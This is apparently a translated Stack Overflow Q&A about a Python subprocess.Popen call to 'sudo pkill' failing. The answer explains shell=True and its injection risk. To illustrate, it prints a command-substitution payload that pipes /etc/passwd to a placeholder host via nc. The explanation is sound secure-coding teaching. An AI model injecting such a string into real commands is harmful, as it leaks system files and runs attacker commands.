通过python子进程启动linux命令不能按预期工作

时间:2015-12-03 14:07:41

标签: python linux python-2.7 ubuntu subprocess

我正试图杀死之前发布的特定python进程,我们称之为test.py linux中终止它的命令是:sudo pkill -f test.py - >奇迹般有效。

但是当尝试通过python代码启动时:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到了一个带有OSError: [Errno 2] No such file or directory

的堆栈跟踪

知道我做错了什么吗?

1 个答案:

答案 0 :(得分:3)

默认情况下,subprocess.Popen会将字符串参数解释为确切的命令名称。因此,您传递一个字符串foo bar,它将尝试找到一个名为foo bar的可执行文件,并在不带参数的情况下调用它。与交互式shell不同,它将使用单个参数foo执行命令bar

当您在shell中键入foo "bar baz"foo | bar时,它是将参数行拆分为单词并将这些单词解释为命令名,参数,管道分隔符,重定向运算符等的shell。 subprocess.Popen执行此类输入解释的最简单方法是使用shell=True请求通过shell传递参数:

subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)

不幸的是,作为noted in the documentation,这种方便的快捷方式具有安全隐患。使用shell=True是安全的,只要运行的命令是固定的(忽略明显的安全含义,允许显然没有密码sudo。)当参数由来自的部分组合时出现问题其他来源。例如:

# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
                 stdout=subprocess.PIPE)

这里我们从网络连接中读取参数,并将其拼接到传递给shell的字符串中。除了恶意制作的对等体能够杀死系统上的任意进程(作为root,不能少)的明显问题,它实际上比这更糟糕。由于shell是一般工具,攻击者可以使用command substitution和类似功能使系统执行任何操作。例如,如果套接字发送字符串$(cat /etc/passwd | nc SOMEHOST; echo process-name),则上面的Popen将使用shell执行:

sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)

这就是为什么通常建议不要在不受信任的输入上使用shell=True 。更安全的替代方法是避免运行shell:

# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)

在这种情况下,即使恶意对等体在字符串中滑动了一些奇怪的东西,也不会有问题,因为它会被字面上发送到命令来执行。在上面的示例中,pkill命令将获取一个请求以终止名为$(cat ...)的进程,但是没有shell来解释此请求以在括号内执行命令。

即使没有shell,如果执行的命令(在这种情况下为sudopkill)本身容易受到注入攻击,则使用不受信任的输入调用外部命令仍然是不安全的。